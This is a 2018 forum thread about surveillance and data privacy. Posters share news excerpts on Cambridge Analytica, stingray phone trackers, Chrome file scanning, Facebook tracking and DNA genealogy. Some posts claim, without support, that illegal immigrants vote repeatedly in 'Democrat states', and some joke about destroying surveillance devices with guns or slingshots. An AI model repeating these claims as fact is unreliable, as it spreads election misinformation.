 and if you aren't registered when you go to vote - you usually don't get to vote
i am saying ususally because i don't know  the rules for every state and unfortunately they are all different

"voter registration rolls" are the log of registered voters
and obviously kept in an online form so that if they are messed with  certain voters may be removed 
and while they can re-register they can not vote until then..soo thus the problem


here's a link if you want details

https://www.usa.gov/register-to-vote

Title: Re: they know what you are doing
Post by: ArMaP on February 10, 2018, 05:18:12 am
Thanks, space otter, I thought it could be something like that. :)

I don't see how messing with it could help any side, unless they knew in which candidate/party they were going to vote.
Title: Re: they know what you are doing
Post by: space otter on March 07, 2018, 03:41:40 pm


ahhhhhh and we thought they were helpful....



03/07/2018 03:26 pm ET Updated 57 minutes ago
Geek Squad Has Been Turning Customer Data Over To The FBI For More Than A Decade

New documents show the two groups have a deeper working relationship than previously known.

By Ryan Grenoble


read article here:

https://www.huffingtonpost.com/entry/fbi-geek-squad-customer-data-seach_us_5aa004b3e4b002df2c5fc9bc
Title: Re: they know what you are doing
Post by: space otter on March 12, 2018, 08:03:39 pm

wonder how long it will take for those sunglasses to get here..

https://www.msn.com/en-us/news/msn/chinese-police-are-expanding-facial-recognition-sunglasses-program/ar-BBK8QXC

(https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBK8EKx.img?h=416&w=624&m=6&q=60&o=f&l=f&x=695&y=313)
© Provided by The Verge


Chinese police are expanding facial recognition sunglasses program
 The Verge The Verge
Shannon Liao
6 hrs ago

China’s police have been testing sunglasses with built-in facial recognition since at least last month to catch suspects and those traveling under false identities. Now China is expanding the facial recognition sunglasses program as police are beginning to use them in the outskirts of Beijing, according to Reuters. The program was used as extra security while Parliament voted to extend Xi Jinping’s presidency to a lifetime rule, and paralleled the increased censorship and surveillance measures seen throughout China.

Police used the sunglasses to check travelers and car registration plates against the government’s blacklist before Parliament’s annual meeting this past weekend. The Chinese government has a list of people who are not allowed to enter the meeting and might face additional enforcement action. The blacklist includes criminals, journalists, political dissidents, and human rights activists, among others.

Previously, the glasses were only been tested in trains stations in Zhengzhou, the capital of Henan Province. By February 8th, police had allegedly caught seven suspects, and 26 travelers using false identities.

The sunglasses are controlled by a mobile unit and cost $636 (3,999 RMB), with an additional cost for facial recognition support. They give police “instant and accurate feedback” compared to the lag and static of using facial recognition through CCTVs as Beijing-based LLVision Technology’s CEO Wu Fei told the Wall Street Journal last month.
Title: Re: they know what you are doing
Post by: starwarp2000 on March 14, 2018, 06:53:41 pm
Armap
you have to register before you vote, meeting requirements like age and residency, this is done before the voting date giving the paper people time to add you to the list called
voter registration rolls
 and if you aren't registered when you go to vote - you usually don't get to vote
i am saying ususally because i don't know  the rules for every state and unfortunately they are all different

"voter registration rolls" are the log of registered voters
and obviously kept in an online form so that if they are messed with  certain voters may be removed 
and while they can re-register they can not vote until then..soo thus the problem


here's a link if you want details

https://www.usa.gov/register-to-vote

Yes, in most states, you have to supply a Birth Certificate, Social Security Number and Drivers License to be able to Register to vote.
But in Democrat states they have been allowing Illegal Immigrants to vote and register by issuing ID cards and letting them register with those.
Forget Foreign Intervention in the last Election by Russian Hacking (Which didn't happen) but there was Foreign Intervention in the last US Elections by Foreign Nationals voting without authorization (And Voting Multiple times).
Federal Gov has tried to introduce stricter voting laws but are being sued by SPLC and ACLU saying that it is racist against Mexicans. :o

P.S. Chicago (A Democrat City) has just issued the Chicago CityKey:

Quote
The Office of the City Clerk is launching a new, and exciting, program for all of Chicago’s residents – the Chicago CityKey. The Chicago CityKey is an optional, valid, government-issued ID card offered to all Chicago residents that will unlock many of the great things our City has to offer.

http://www.chicityclerk.com/municipal-id-card (http://www.chicityclerk.com/municipal-id-card)

Yes it unlocks so many things, including the ability to use it as ID to register to vote, great for Illegal Immigrants wanting to influence the election.
Democrat Foreign Collusion to win Elections.
Title: Re: they know what you are doing
Post by: Pimander on March 14, 2018, 07:15:25 pm
Why is it easier to buy a gun than vote in the USA?  Because everyone has the right to kill but not to vote?

Just asking...
Title: Re: they know what you are doing
Post by: The Seeker on March 14, 2018, 07:36:03 pm
Why is it easier to buy a gun than vote in the USA?  Because everyone has the right to kill but not to vote?

Just asking...
It isn't  8) to purchase a firearm, you have to have a valid ID, must pass a background check, and not have a criminal record(thus the reason for the background check)

to register to vote, you must prove that you are a citizen, live in the state you are registering in, and choose to go thru the process

you do not have the right to kill; that is murder; but you do have the right to defend you, your family, and your property from any and all harm

I under went a thorough background check and was granted a concealed carry permit and cleared to obtain a federal firearms license, which allows one to be a law abiding dealer that operates under very strict rules

in some liberal states such as California you don't have to prove anything to vote
Title: Re: they know what you are doing
Post by: Pimander on March 14, 2018, 07:41:08 pm
It isn't  8) to purchase a firearm, you have to have a valid ID, must pass a background check, and not have a criminal record(thus the reason for the background check)
I've heard it is a lot easier than that in many states.  AND definitely in many shops. :)

In fact if there are more guns than people you don't need a shop.  Lets face facts

And in some States you DO need ID to vote
Title: Re: they know what you are doing
Post by: space otter on March 14, 2018, 07:54:16 pm


wellllll i can only tell you my experience

to vote i needed to be 21 and have proof of that
(the age has been dropped thru the years)..once you are registered and don't vote for so many years you need to redo your voting card..depends on your state

do i need to show it now.. no ...cause i've lived in the same spot for 40 some years and the voting board who check you in when you vote knows who i am  population in this small boro is 1250 humans and not are all of voting age
i do need to sign in  every time  so that  they can match my signature to the one they have on record every time i vote..

basically i think the stories of anyone and multiple voting  is fake news..
instead of repeating  stories.. go volunteer at the polls and see how it really works

as for the conceal carry gun permit...took me  five minutes
and no i don't own a gun at this time .. i wanted to get the permit so i could take  lessons but just can't get to doing that..


Title: Re: they know what you are doing
Post by: The Seeker on March 14, 2018, 08:04:40 pm
I've heard it is a lot easier than that in many states.  AND definitely in many shops. :)
Don't believe everything you hear; the "shops" as you call them are closely watched; state and federal rules are not to be taken lightly, for not following them to the letter will get you a $10,000 fine and 3-5 years in prison, not to mention that you will lose your right to bear arms, the right to vote, and your citizenship...

Quote
In fact if there are more guns than people you don't need a shop.  Lets face facts
To be a legal dealer of new firearms, yes, you do, and must have a secureable arms locker on premises, with very strict paper trails detailing purchase, sale, and transfer of registration. Sales of personal property falls under different laws and rules, but any firearm registered to you,unless it is reported by you as being stolen, used to commit a crime will lead the police and ATF straight to you, so you better have a receipt and bill of sale showing where you got rid of it and to who

Quote
And in some States you DO need ID to vote
In the majority of states you do; the problem is that one or two liberal states are not following federal guidelines and breaking the rules, issuing state ID's to immigrants that have foreign citizenship and absolutely no rights to vote
Title: Re: they know what you are doing
Post by: The Seeker on March 14, 2018, 08:17:33 pm

wellllll i can only tell you my experience

to vote i needed to be 21 and have proof of that
(the age has been dropped thru the years)..once you are registered and don't vote for so many years you need to redo your voting card..depends on your state

do i need to show it now.. no ...cause i've lived in the same spot for 40 some years and the voting board who check you in when you vote knows who i am  population in this small boro is 1250 humans and not are all of voting age
i do need to sign in  every time  so that  they can match my signature to the one they have on record every time i vote..

basically i think the stories of anyone and multiple voting  is fake news..
instead of repeating  stories.. go volunteer at the polls and see how it really works

as for the conceal carry gun permit...took me  five minutes
and no i don't own a gun at this time .. i wanted to get the permit so i could take  lessons but just can't get to doing that..
You do live in a small town in Pa and it is a different world up there compared to most other places, otter, especially compared to Chicago or LA; more people live in one city block there than in your whole boro  8)

working at the polls is different also; a thousand people voting versus 50,000 in a 12 hour period is a bit busier; in some states you can register at the polls and vote all at once; where I live at in Georgia you have to be registered before you can do anything, I have to show my card, photo id, and sign.

 8)
Title: Re: they know what you are doing
Post by: space otter on March 14, 2018, 08:23:18 pm

you are right Seeker.. that's why i stay here  small is good in some things.. but i do not take as gospel some of the stories ..sorry just the skeptic in me.. i want some proof and i haven't seen it yet

and you know me Seeker.. i had to see how many states did that

Quote
As of October 2017, 15 states plus the District of Columbia offer same day registration (SDR), which allows any qualified resident of the state to go to register to vote and cast a ballot all in that day.
.
.
.
In most other states, voters must register by a given deadline prior to Election Day. The deadline varies by state, with most falling between eight and 30 days before the election.

Table 1, at the bottom of this page, provides a detailed list of states with same day and election day registration. It includes statute citations, links to state resources, verification procedures, locations, and timeframes. Also, read the May 2013 issue of the Canvass for a FAQ on same day registration.

http://www.ncsl.org/research/elections-and-campaigns/same-day-registration.aspx
Title: Re: they know what you are doing
Post by: The Seeker on March 14, 2018, 08:35:02 pm

and you know me Seeker.. i had to see how many states did that

Indeed  8)
Title: Re: they know what you are doing
Post by: space otter on March 15, 2018, 08:32:47 am


well it is also very interesting to read what precautions each of those states takes

it's down at the bottom in this chart
DETAILS FOR SAME DAY AND ELECTION DAY REGISTRATION STATES

Title: Re: they know what you are doing
Post by: space otter on March 17, 2018, 08:38:02 pm

we are so screwed



entire article
at link.. only parts copied




https://www.msn.com/en-us/news/politics/how-trump-consultants-exploited-the-facebook-data-of-millions/ar-BBKkWOF?li=BBnbcA1

How Trump Consultants Exploited the Facebook Data of Millions

The New York Times
By MATTHEW ROSENBERG, NICHOLAS CONFESSORE and CAROLE CADWALLADR
5 hrs ago


The firm had secured a $15 million investment from Robert Mercer, the wealthy Republican donor, and wooed his political adviser, Stephen K. Bannon, with the promise of tools that could identify the personalities of American voters and influence their behavior. But it did not have the data to make its new products work.

So the firm harvested private information from the Facebook profiles of more than 50 million users without their permission, according to former Cambridge employees, associates and documents, making it one of the largest data leaks in the social network’s history. The breach allowed the company to exploit the private social media activity of a huge swath of the American electorate, developing techniques that underpinned its work on President Trump’s campaign in 2016.

.
.
.

But the full scale of the data leak involving Americans has not been previously disclosed — and Facebook, until now, has not acknowledged it. Interviews with a half-dozen former employees and contractors, and a review of the firm’s emails and documents, have revealed that Cambridge not only relied on the private Facebook data but still possesses most or all of the trove.

Cambridge paid to acquire the personal information through an outside researcher who, Facebook says, claimed to be collecting it for academic purposes.


the swamp hasn't been drained it's been expanded by the rich liars and cons who want to rule
Title: Re: they know what you are doing
Post by: Irene on March 17, 2018, 08:45:26 pm
If you choose to put your information out there using something like FB, you're fair game.

Selfies = facial recognition

You know how they use the rest of the data you input.

We've known for years that people like F*ckerberg are screwing over the masses, still, the majority chose to ignore the warnings and charged full-speed ahead into that giant database.

 ::) 8)
Title: Re: they know what you are doing
Post by: The Seeker on March 17, 2018, 09:15:58 pm
If you choose to put your information out there using something like FB, you're fair game.

Selfies = facial recognition

You know how they use the rest of the data you input.

We've known for years that people like F*ckerberg are screwing over the masses, still, the majority chose to ignore the warnings and charged full-speed ahead into that giant database.

 ::) 8)
Yup  8)
Title: Re: they know what you are doing
Post by: ArMaP on March 18, 2018, 05:12:02 am
If you choose to put your information out there using something like FB, you're fair game.
That's why I put almost no information on Facebook, and the information I put is not complete, so they get an incomplete version of myself. :)
The only information I put there is easily gathered from other sources.
Title: Re: they know what you are doing
Post by: space otter on March 18, 2018, 07:09:34 am


Quote
the majority chose to ignore the warnings and charged full-speed ahead into that giant database.

and  that still amazes me...  sigh
Title: Re: they know what you are doing
Post by: ArMaP on March 18, 2018, 07:13:29 am
and  that still amazes me...  sigh
A few years ago I read on another forum of a member's mother that used to post everything she did on social networks, and one time posted that she was going to the lawyer's office for some legal advice/work, even saying who the lawyer was. As she was a rich person the daughter was worried that someone might want to attack or kidnap her, but she kept on posting all that information.
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 01:59:13 pm
  well golly gee if you were on farcebook your info is public now

Facebook's original estimate that the personal information of 50 million users had been shared with the data-mining firm Cambridge Analytica was apparently a low-ball. In a Wednesday blog post detailing revamped data security policies, the social networked admitted the number of individuals whose accounts were compromised is closer to 87 million -- an increase of 37 million users.

Cambridge Analytica, a London-based firm, bought the data from Cambridge University professor Aleksandr Kogan, who managed to obtain it from unwitting Facebook users via a survey app. Early news reports indicated that 50 million users were enveloped in the data-mining scandal, but the company's own acknowledgement on Wednesday put the figure at nearly double the original figure. Cambridge Analytica worked with President Donald Trump's 2016 campaign to target voters with ads.

https://www.thrillist.com/news/nation/facebook-cambridge-analytica-scandal-data-breach

..........................

Facebook raises number of users affected by Cambridge Analytica scandal to 87 million
The number of users whose information was improperly shared with research firm Cambridge Analytica was previously estimated to be 50 million.
Facebook issued the updated number is a lengthy post by CTO Mike Schroepfer about its privacy changes, including restricting third party app access and deleting old logs of messages.
Media reports last month alleged a UK-based researcher collected the data from Facebook users when just 270,000 users downloaded a psychology quiz app.

https://www.cnbc.com/2018/04/04/facebook-updates-the-number-of-users-impacted-by-cambridge-analytica-leak-to-87-million-.html

you hafta know NOT to take any of those online quiz s
especially the ones that want to see if you are psychic


.............................

Facebook announced Wednesday that it believes up to 87 million users — mostly in the United States — were affected by Cambridge Analytica’s improper collection and sharing of personal information for political campaigns.

That number, more than double the population of California, is significantly higher than the initial figure of 50 million as estimated by former Cambridge Analytica employee and whistleblower Christopher Wylie. It marks the first time Facebook has estimated the scope of the data collection, which stemmed from an app that was created by a University of Cambridge researcher. The personality quiz app had about 270,000 users, but at the time Facebook allowed app developers to collect information of their users’ friends, too. The researcher sold that information to Cambridge Analytica.
https://www.mercurynews.com/2018/04/04/facebook-87-million-users-affected-by-cambridge-analytica-data-collection/

.......................

Facebook Believes Data Of Up To 87 Million Users Was Improperly Shared
Most of the accounts affected by the scandal were in the U.S., Facebook said.

Upcoming changes outlined by Schroepfer include restrictions on the Facebook app’s ability to access users’ information, the disabling of phone numbers and email addresses to search for users, changes to call and text history, and the added ability for users to see what apps they use.

https://www.huffingtonpost.com/entry/facebook-says-87-million-accounts-shared_us_5ac5226ce4b09ef3b2431051

 ::)
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 02:44:17 pm
and more and more and yikes..interesting that you can read this a the bbc

http://www.bbc.com/news/technology-43639709

Mystery Stingray devices discovered in Washington


(https://ichef.bbci.co.uk/news/936/cpsprodpb/AA8B/production/_100695634_mobilemast.gif)
getty image
Stingrays are devices which mimic mobile phone towers to gather data

Spy kits that can track mobile phones and intercept calls and messages have been discovered in Washington and beyond, the US government has said.

The Department of Homeland Security (DHS) says it has observed "anomalous activity" consistent with the use of so-called stingrays.

They could be used by foreign spies or criminals, although the DHS said it did not know who was using them.

It added that such devices pose a "growing risk".

Stingrays, a brand name for a type of International Mobile Subscriber Identity catcher (IMSI), are mobile phone surveillance devices that mimic mobile phone towers.

The size of a briefcase, the devices send out signals to trick mobile phones into transmitting their location and identifying information.

As well as tracking the mobile phone of a suspect, the devices also gather information about phones of bystanders who are nearby.

It is believed to be the first time the US government has acknowledged the use of rogue spying devices in Washington.

Police use
The revelation came in response to a letter from US senator Ron Wyden to the DHS, asking about the unauthorised use of such devices.

The agency response was obtained by the Associated Press from Wyden's office.

 In it, a senior official at the DHS acknowledged that it had "observed anomalous activity in the National Capital Region (NCR) that appears to be consistent with International Mobile Subscriber Identity (IMSI) catchers".

It added that it had observed similar activity "outside the NCR" but had "not validated or attributed such activity to specific entities or devices."

The use of Stingray devices by police forces across the US is being tracked by the American Civil Liberties Union (ACLU). It has identified 73 agencies in 25 states that own such devices but believes there could be many more in use which are not formally declared.

There are concerns among politicians in Washington that such devices could also be used by unauthorised agencies, such as foreign governments.

...............................


https://www.aclu.org/issues/privacy-technology/surveillance-technologies/stingray-tracking-devices-whos-got-them
Title: Re: they know what you are doing
Post by: Irene on April 04, 2018, 03:16:26 pm
My first thought on reading this was nocturnal, roaming vigilantes blacked out and armed with scatterguns blasting these f'ing things off their mounts.

I enjoy my fantasies.  ;D
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 04:31:43 pm


too tractable
what about
some nice shiny oiled steel balls and an enhanced sling shot

and yep fantasies are good    8)
Title: Re: they know what you are doing
Post by: Ellirium113 on April 04, 2018, 04:35:22 pm
Warning: Google's Chrome Browser Secretly Scans All Files on Your PC

Quote
Google Chrome Privacy Risk Dismissed By Google Security. A disturbing discovery was made by Kelly Shortridge, a security expert, who found her private files were being routinely scanned.
Google Chrome programmed its Cleanup Tool for antivirus protection. The tool is built-in to Chrome, but when this issue was brought to light, it turned out that many were not even aware of its presence. Shortridge, who currently works for BAE systems within the Applied Intelligence department, maintains a strong social media presence with her writings focused on Information Security, even attending Black Hat 2017 as a key speaker. She was surprised to find the tool had invaded her Documents and searched through private information without her knowledge or consent. Upon this discovery, she raised this issue with Google.

Google’s response has been to point out that the function of the Clean-up tool is mere to seek out corrupted files and viruses and that its periodic scans are listed in its policy agreement. Head of security for Google, Justin Schuh replied to Shortridge and others he had been receiving queries from that the CCT (Chrome Cleanup Tool) is only for Windows computers and is not a cloud Antivirus tool. He does not believe there to be a privacy issue at all.

Shortridge, however, noted that some of the data of a file that had been earmarked by CleanUp were part of her Documents and that data from this file had been sent to Google as part of the CCT’s process. Other Google Chrome users have been left worried as the safety of their private data. They receive no sympathy however from Schuh who tweeted he wished to get back to his holidays. Virus Bulletin editor Martijn Grooten also dismissed the privacy concern. In a Motherboard article, he claimed that those who did not wish their data viewed by Google should not use Google. Shortridge retweeted the responses from Justin Schuh to her followers who were less than impressed by his explanation and attitude.

https://www.disclose.tv/warning-googles-chrome-browser-secretly-scans-all-files-on-your-pc-329852 (https://www.disclose.tv/warning-googles-chrome-browser-secretly-scans-all-files-on-your-pc-329852)
Title: Re: they know what you are doing
Post by: Irene on April 04, 2018, 07:19:00 pm
J H MF C.  >:(
Title: Re: they know what you are doing
Post by: Irene on April 04, 2018, 07:22:00 pm

too tractable
what about
some nice shiny oiled steel balls and an enhanced sling shot

and yep fantasies are good    8)

That's an acquired skill. Closest I can come with my toolbox is bow and arrow.  ;D
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 07:32:24 pm


acquired (with just a little practice) and pretty much untraceable


dang and what do you run after chrome?
Title: Re: they know what you are doing
Post by: The Seeker on April 04, 2018, 07:37:14 pm
I use Seamonkey and Firefox  :P
Title: Re: they know what you are doing
Post by: Irene on April 04, 2018, 07:37:54 pm

acquired (with just a little practice) and pretty much untraceable

dang and what do you run after chrome?

I use Firefox, but one must assume everything is polluted and has been for a while.

The only thing that's secret now is what's in your head and even that is under intense assault. When they cross that threshold it's time for a bullet in the brainpan.

Ever seen "Minority Report"? They won't stop there, especially the F'ing Deep State.

Now that I think about it, they probably popped that cherry long ago.
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 07:41:55 pm
  well i guess i'll try to go back to firefox..thanks guys
never heard of seamonkey but that's no surprise with my limited on line understanding

 Irene i try real hard to be positive and it is getting harder..but
i would rather fight them  in some way...and there are ways :o
a good defense can be an offense
Title: Re: they know what you are doing
Post by: Irene on April 04, 2018, 07:43:59 pm
  well i guess i'll try to go back to firefox..thanks guys
never heard of seamonkey but that's no surprise with my limited on line understanding

 Irene i try real hard to be positive and it is getting harder..but
i would rather fight them  in some way...and there are ways :o

I'm waiting for critical mass, if you know what I mean.  ;)
Title: Re: they know what you are doing
Post by: space otter on April 04, 2018, 07:44:52 pm


yeah  i think i do.... 8)
Title: Re: they know what you are doing
Post by: zorgon on April 05, 2018, 02:39:02 am
I use Seamonkey and Firefox  :P

I have Comodo Dragon firewall and use Stealth Mode...  have had no issues :P

Google may read the files BUT if you block OUTGOING apps   nothing will happen

Welcome to ShieldsUP!
https://www.grc.com/x/ne.dll?bh0bkyd2


Comodo Firewall
https://www.comodo.com/home/internet-security/firewall.php

Comodo Dragon Browser
https://www.comodo.com/home/download/download.php?prod=browser

All free

And Comodo HATES windows :P
https://www.comodo.com/home/internet-security/firewall.php




Title: Re: they know what you are doing
Post by: ArMaP on April 05, 2018, 04:15:09 am
There's one thing I don't understand in that Chrome case: from what I have seen, Chrome Cleanup Tool is an independent program that has to be specifically downloaded, it's not part of Chrome. Apparently, it uses the Chrome processes to run, but only if people downloaded it.
Title: Re: they know what you are doing
Post by: Ellirium113 on April 05, 2018, 04:35:37 am
No more secrets! New mind-reading machine can translate your thoughts and display them as text INSTANTLY

Quote
Scientists have developed an astonishing mind-reading machine which can translate what you are thinking and instantly display it as text.
They claim that it has an accuracy rate of 90 per cent or more and say that it works by interpreting consonants and vowels in our brains.
The researchers believe that the machine could one day help patients who suffer from conditions that don't allow them to speak or move.

The machine registers and analyses the combination of vowels and consonants that we use when constructing a sentence in our brains.
It interprets these sentences based on neural signals and can translate them into text in real time.
In fact, scientists claim that the machine can use words that it hasn't even heard before.   

Study leader David Moses told the Sun: 'No published work has demonstrated real-time classification of sentences from neural signals.
'Given the performance exhibited by [the machine] in this work and its capacity for expansion, we are confident in its ability to serve as a platform for the proposed speech prosthetic device.'
There are fears from critics, however, that the device will cause problems if secret thoughts are exposed accidentally.
The device was developed at the University of California and explained in the Journal of Neural Engineering.

http://www.dailymail.co.uk/news/article-5565179/Mind-reading-machine-translate-thoughts-display-text.html (http://www.dailymail.co.uk/news/article-5565179/Mind-reading-machine-translate-thoughts-display-text.html)






Title: Re: they know what you are doing
Post by: ArMaP on April 05, 2018, 04:39:17 am
I use Firefox, but one must assume everything is polluted and has been for a while.
Firefox is different, as it's an open source project from the Mozilla Foundation. While Google Chrome is based on an open source project (Chromium), they changed the code for their specific intentions.
Title: Re: they know what you are doing
Post by: ArMaP on April 05, 2018, 04:41:41 am
  well i guess i'll try to go back to firefox..thanks guys
never heard of seamonkey but that's no surprise with my limited on line understanding
Seamonkey, if I'm not mistaken, is based on Firefox code.
Title: Re: they know what you are doing
Post by: ArMaP on April 05, 2018, 04:48:12 am
Google may read the files BUT if you block OUTGOING apps   nothing will happen
If you block Chrome from sending information then you cannot use it to access web sites, as it will not be able to initiate outgoing communications.
I suppose that's why that cleanup tool uses the Chrome process, as they are sure that is already allowed to send data to the Internet.
Title: Re: they know what you are doing
Post by: space otter on April 15, 2018, 07:39:45 am

holy heck..id'd from a photo on line and then arrested..WOW
 you hafta watch the vid at the link..really
they do know what you are doing


http://www.bbc.com/news/uk-wales-43711477

WhatsApp photo drug dealer caught by 'groundbreaking' work
By Chris Wood
BBC News
6 hours ago

A pioneering fingerprint technique used to convict a drugs gang from a WhatsApp message "is the future" of how police approach evidence to catch criminals.

An image of a man holding ecstasy tablets in his palm was found on the mobile of someone arrested in Bridgend.

It was sent to South Wales Police's scientific support unit and helped to secure 11 convictions.

These are believed to be the first convictions in Wales from fingerprints taken from a photograph.

The unit's Dave Thomas described its use as "groundbreaking" and said officers are now looking more closely at photographs on phones seized for potential evidence.

'Ecstasy pills for sale' in WhatsApp message
Teens found selling drugs on Snapchat and Instagram
How drugs are offered on Instagram
He said: "It is an old-fashioned technique [fingerprinting], not new.

"Ultimately, beyond everything else, we took a phone and looked at everything on it - we knew it had a hand with drugs on it.

"These guys [the dealers] are using the technology not to get caught and we need to keep up with advancements."

The photograph came to light after a tip-off drugs were being sold from a house in the Kenfig Hill area of Bridgend.

pic of folks
It was raided and large quantities of Gorilla Glue - a type of cannabis - was recovered.

Mr Thomas praised the officer that spotted a photograph among a stream of WhatsApp messages going back months as potentially carrying significant evidence.

"It had a number of texts such as 'what do you want to buy?' on it," he said.

"There was then the photograph of the hand holding pills that seemed like it was sent to potential customers saying 'these are my wares, I'm selling these'.

"But he was not thinking it showed part of his hand and there was potentially a fingerprint."

The scientific support unit - a joint venture between the Gwent and south Wales forces, based in Bridgend - was able to scan the image into its system.

However, there were just parts of the middle and bottom of a finger visible - records only keep the top part.

This meant the image did not find a match on national databases.

pic of drugs
Drug dealer Elliott Morris sent this photograph out on a Whatsapp message to potential customers in Bridgend




However, other evidence meant officers had an idea who they believed was behind the drugs operation.

"While the scale and quality of the photograph proved a challenge, the small bits were enough to prove he was the dealer," added Mr Thomas.

"It has now opened the floodgates and when there is part of a hand on a photograph, officers are sending them in."

He believes it is the first time someone's fingerprint has been identified by a photograph in Wales and shows the potential of a forensic unit with a small piece of evidence.

Mr Thomas pointed to how about 80% of people now have mobile phones and use them to record incidents such as fights and car crashes.

"We can download and enhance (footage)," he said.

"These are all advancements in the digital world - they provide lots of questions we need to provide answers for."

Making greater use of social media messages is just one area being developed.

"We want to be in a position where there is a burglary at 20:30, we can scan evidence and by 20:45 be waiting at the offender's front door and arrest them arriving home with the swag," he added.

"That will work through remote transmission - scanning evidence at the scene and sending it back quickly for a match.

"It's the future. We are not there yet but it could significantly enhance the ability of the local bobbies to arrest people very quickly."

Title: Re: they know what you are doing
Post by: space otter on April 15, 2018, 03:22:20 pm


if you really want to get pissed about your info being used by farce book when you never joined..read this
AHHHHHHHHHHHHHHHHHHHHHHHHHHHH >:(


https://www.huffingtonpost.com/entry/facebook-tracking-of-non-users-sparks-broader-privacy-concerns_us_5ad34f10e4b016a07e9d5871

TECH 04/15/2018 09:19 am ET Updated 6 hours ago
Facebook’s Tracking Of Non-Users Sparks Broader Privacy Concerns
CEO Mark Zuckerberg said that, for security reasons, the company collects “data of people who have not signed up for Facebook.”

By David Ingram

SAN FRANCISCO (Reuters) - Concern about Facebook Inc’s respect for data privacy is widening to include the information it collects about non-users, after Chief Executive Mark Zuckerberg said the world’s largest social network tracks people whether they have accounts or not.

Privacy concerns have swamped Facebook since it acknowledged last month that information about millions of users wrongly ended up in the hands of political consultancy Cambridge Analytica, a firm that has counted U.S. President Donald Trump’s 2016 electoral campaign among its clients.

Zuckerberg said on Wednesday under questioning by U.S. Representative Ben Luján that, for security reasons, Facebook also collects “data of people who have not signed up for Facebook.”

Lawmakers and privacy advocates immediately protested the practice, with many saying Facebook needed to develop a way for non-users to find out what the company knows about them.

“We’ve got to fix that,” Representative Luján, a Democrat, told Zuckerberg, calling for such disclosure, a move that would have unclear effects on the company’s ability to target ads. Zuckerberg did not respond. On Friday Facebook said it had no plans to build such a tool.

Critics said that Zuckerberg has not said enough about the extent and use of the data. “It’s not clear what Facebook is doing with that information,” said Chris Calabrese, vice president for policy at the Center for Democracy & Technology, a Washington advocacy group.

COOKIES EVERYWHERE
Facebook gets some data on non-users from people on its network, such as when a user uploads email addresses of friends. Other information comes from “cookies,” small files stored via a browser and used by Facebook and others to track people on the internet, sometimes to target them with ads.

“This kind of data collection is fundamental to how the internet works,” Facebook said in a statement to Reuters.

Asked if people could opt out, Facebook added, “There are basic things you can do to limit the use of this information for advertising, like using browser or device settings to delete cookies. This would apply to other services beyond Facebook because, as mentioned, it is standard to how the internet works.”

Facebook often installs cookies on non-users’ browsers if they visit sites with Facebook”like” and “share” buttons, whether or not a person pushes a button. Facebook said it uses browsing data to create analytics reports, including about traffic to a site.

The company said it does not use the data to target ads, except those inviting people to join Facebook.

TARGETING FACEBOOK
Advocates and lawmakers say they are singling out Facebook because of its size, rivaled outside China only by Alphabet Inc’s Google, and because they allege Zuckerberg was not forthcoming about the extent and reasons for the tracking.

“He’s either deliberately misunderstanding some of the questions, or he’s not clear about what’s actually happening inside Facebook’s operation,” said Daniel Kahn Gillmor, a senior staff technologist at the American Civil Liberties Union.

Zuckerberg, for instance, said the collection was done for security purposes, without explaining further or saying whether it was also used for measurement or analytics, Gillmor said, adding that Facebook had a business incentive to use the non-user data to target ads.

Facebook declined to comment on why Zuckerberg referred to security only.

Gillmor said Facebook could build databases on non-users by combining web browsing history with uploaded contacts. Facebook said on Friday that it does not do so.

The ACLU is pushing U.S. lawmakers to enact broad privacy legislation including a requirement for consent prior to data collection.

The first regulatory challenge to Facebook’s practices for non-users may come next month when a new European Union law, known as the General Data Protection Regulation (GDPR), takes effect and requires notice and consent prior to data collection.

At a minimum, “Facebook is going to have to think about ways to structure their technology to give that proper notice,” said Woodrow Hartzog, a Northeastern University professor of law and computer science.

Facebook said in its statement on Friday, “Our products and services comply with applicable law and will comply with GDPR.”

The social network would be wise to recognize at least a right to know, said Michael Froomkin, a University of Miami law professor.

“If I’m not a Facebook user, I ought to have a right to know what data Facebook has about me,” Froomkin said.

(Reporting by David Ingram; Editing by Peter Henderson and Richard Chang)


really ready to toss this machine..
Title: Re: they know what you are doing
Post by: ArMaP on April 15, 2018, 04:05:07 pm
The first regulatory challenge to Facebook’s practices for non-users may come next month when a new European Union law, known as the General Data Protection Regulation (GDPR), takes effect and requires notice and consent prior to data collection.
Not only that, it says that those doing data processing (collection is also considered processing) should say, in clear language, what they use the data for, and that any "data holder" (in this case anyone that visits Facebook) has the right of knowing what data about them is stored and ask for the removal of the data. They should also say who uses that data besides facebook. If the data is used for something not shown in the consent form then they may be penalised. The GDPR also has penalties for data breaches, and for any serious breach of the GDPR they have fines that may go up to 20,000,000 Euros or 4% of the worldwide annual turnover, whichever is higher.

If this Cambridge Analytica case had happened after May 25th facebook could be in serious trouble with the EU.
Title: Re: they know what you are doing
Post by: ArMaP on April 15, 2018, 04:08:10 pm
But one thing is certain, facebook is not the only one doing that, just look at the right side of this forum's pages and you will see two other cases, Amazon and Walmart. Those images are hosted on their own servers, so they get information about who visits these pages.
Title: Re: they know what you are doing
Post by: space otter on April 15, 2018, 05:18:49 pm


yeah
 this is one of the very few places i stop at where NOT SECURE in right in the address
Title: Re: they know what you are doing
Post by: ArMaP on April 15, 2018, 05:44:17 pm

yeah
 this is one of the very few places i stop at where NOT SECURE in right in the address
That "not secure" means only that the connection is not established with encryption, so it's relatively easy to intercept the communications between the server and the clients.
Title: Re: they know what you are doing
Post by: space otter on April 28, 2018, 08:37:50 pm


do you really want to join the dna craze?..at least this time it caught a rapist and killer

entire article at link

http://www.bbc.com/news/world-us-canada-43915187



Janelle Cruz had been dead for a decade when it was discovered that the DNA sample from her body matched DNA from the Harringtons and Manuela Witthuhn. Over time the DNA profile also matched with the Domino and Sanchez murders, and the Smiths, as well as to two Contra Costa County rape cases from the late 1970s.

Although law enforcement has had a DNA profile for the Golden State Killer for decades now, a matching profile was never found in any national DNA database, meaning the man had never been caught for a subsequent crime where his DNA would have been collected.

Eventually a task force joined all the affected jurisdictions together with the FBI to try to collaborate, offer new reward money and send out a call for tips to the public. Although journalists and armchair detectives have been fascinated by the case and offered thousands of tips over the years, no suspect has ever matched the DNA profile, until two weeks ago.

..

The break came after Paul Holes, a retired investigator with the Contra Costa District Attorney's Office and long time investigator on the case, searched a free, do-it-yourself genealogy website called GEDmatch.

